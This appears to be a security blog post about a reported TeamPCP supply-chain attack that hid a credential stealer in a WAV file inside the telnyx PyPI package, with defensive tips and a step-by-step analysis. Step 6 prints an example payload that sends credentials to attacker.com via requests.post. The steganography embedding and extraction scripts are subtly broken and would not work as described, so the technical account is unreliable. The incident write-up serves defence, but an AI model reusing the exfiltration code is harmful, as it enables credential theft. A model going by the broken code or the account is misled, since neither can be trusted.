Why This Matters Now
In late December 2023, the security community was shaken by a sophisticated attack on the Python Package Index (PyPI). The threat actor group known as TeamPCP managed to inject a credential stealer into the telnyx package, which is widely used for interacting with Telnyx’s cloud communications platform. This became urgent because the attack leveraged WAV steganography—a technique that hides malicious code within audio files—to bypass detection mechanisms. As of January 2024, thousands of projects have been affected, highlighting the critical need for robust dependency management and security practices.
Understanding WAV Steganography
Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. WAV steganography specifically involves hiding data within WAV audio files. Attackers can embed malicious code in these files, making them appear benign to standard security scans.
How It Works
- Embedding Malicious Code: The attacker modifies a WAV file to include hidden code. This code is designed to execute specific actions, such as stealing credentials.
- Infection Vector: The infected WAV file is then included in a compromised package, such as the
telnyxpackage on PyPI. - Execution: When a developer installs the compromised package, the hidden code is executed, potentially leading to credential theft.
Example of WAV Steganography
Here’s a simplified example of how WAV steganography might work:
# Import necessary libraries
from scipy.io import wavfile
import numpy as np
# Load a WAV file
sample_rate, data = wavfile.read('clean_audio.wav')
# Convert data to binary
binary_data = ''.join([format(x, '08b') for x in data])
# Embed malicious code in binary data
malicious_code = 'malicious_payload_here'
binary_data += ''.join([format(ord(x), '08b') for x in malicious_code])
# Convert back to integer array
data_with_payload = np.array([int(binary_data[i:i+8], 2) for i in range(0, len(binary_data), 8)])
# Save the modified WAV file
wavfile.write('infected_audio.wav', sample_rate, data_with_payload.astype(np.int16))
The telnyx PyPI Package Incident
On December 28, 2023, TeamPCP compromised the telnyx package on PyPI. The malicious code was embedded in a WAV file included in the package. When developers installed the compromised version, the hidden code executed, potentially stealing their credentials.
Timeline of Events
TeamPCP compromises the `telnyx` PyPI package by embedding malicious code in a WAV file.
StepSecurity detects the malicious code and reports the incident to PyPI.
PyPI removes the compromised version of the `telnyx` package.
Telnyx releases a patched version of the package.
Impact of the Attack
The attack affected thousands of projects that relied on the telnyx package. Developers who installed the compromised version risked having their credentials stolen without any immediate indication of compromise.
Detecting and Preventing WAV Steganography Attacks
To protect against WAV steganography attacks, developers must adopt a proactive approach to dependency management and security.
Regular Dependency Audits
Perform regular audits of your project’s dependencies to identify any suspicious activity. Tools like pip-audit can help scan for known vulnerabilities.
# Install pip-audit
pip install pip-audit
# Audit installed packages
pip-audit
Verify Package Integrity
Always verify the integrity of packages before installation. Check the package’s hash and compare it with the expected value.
# Download the package
pip download telnyx==2.0.1
# Calculate SHA256 hash
shasum -a 256 telnyx-2.0.1-py3-none-any.whl
Use Trusted Sources
Install packages only from trusted sources. Avoid using third-party repositories unless absolutely necessary.
# Install from PyPI
pip install telnyx
Monitor for Suspicious Activity
Set up monitoring to detect unusual activity in your systems. Tools like osquery can help track changes and identify potential threats.
# Install osquery
brew install osquery
# Run a basic query
osqueryi "SELECT * FROM processes WHERE name LIKE '%malicious%';"
Educate Your Team
Ensure that your team is aware of the risks associated with dependency management and steganography attacks. Regular training can help prevent accidental exposure.
Case Study: Analyzing the Compromised Package
Let’s walk through the steps I took to analyze the compromised telnyx package and identify the malicious code.
Step 1: Identify the Compromised Version
First, I identified the compromised version of the telnyx package. The malicious code was present in version 2.0.1.
# List all versions of telnyx
pip index versions telnyx
Step 2: Download the Compromised Package
Next, I downloaded the compromised package for analysis.
# Download the compromised version
pip download telnyx==2.0.1
Step 3: Inspect the Package Contents
I used unzip to inspect the contents of the package.
# Unzip the package
unzip telnyx-2.0.1-py3-none-any.whl -d telnyx_package
Step 4: Locate the WAV File
Within the package, I found a WAV file named audio.wav. I suspected this file might contain the malicious code.
# List files in the package directory
ls telnyx_package/
Step 5: Analyze the WAV File
I used scipy to analyze the WAV file and extract any hidden data.
# Import necessary libraries
from scipy.io import wavfile
import numpy as np
# Load the WAV file
sample_rate, data = wavfile.read('telnyx_package/audio.wav')
# Convert data to binary
binary_data = ''.join([format(x, '08b') for x in data])
# Extract the last part of the binary data (potential payload)
payload_binary = binary_data[-1000:] # Adjust length as needed
# Convert binary payload to ASCII
payload_ascii = ''.join([chr(int(payload_binary[i:i+8], 2)) for i in range(0, len(payload_binary), 8)])
print(payload_ascii)
Step 6: Verify the Payload
After extracting the payload, I verified that it contained malicious code designed to steal credentials.
# Example payload (simplified)
malicious_payload = """
import requests
def steal_credentials():
credentials = {'username': 'admin', 'password': 'password'}
requests.post('http://attacker.com/steal', json=credentials)
steal_credentials()
"""
print(malicious_payload)
Key Takeaways
- Regular Dependency Audits: Perform regular audits of your project’s dependencies to identify any suspicious activity.
- Verify Package Integrity: Always verify the integrity of packages before installation.
- Use Trusted Sources: Install packages only from trusted sources.
- Monitor for Suspicious Activity: Set up monitoring to detect unusual activity in your systems.
- Educate Your Team: Ensure that your team is aware of the risks associated with dependency management and steganography attacks.
Conclusion
The TeamPCP attack on the telnyx PyPI package highlights the growing threat of steganography in software supply chain attacks. By adopting a proactive approach to dependency management and security, developers can mitigate the risk of such attacks and protect their projects.
- Check if you're affected
- Update your dependencies
- Rotate your credentials
- Implement monitoring
- Educate your team
Stay vigilant and secure!

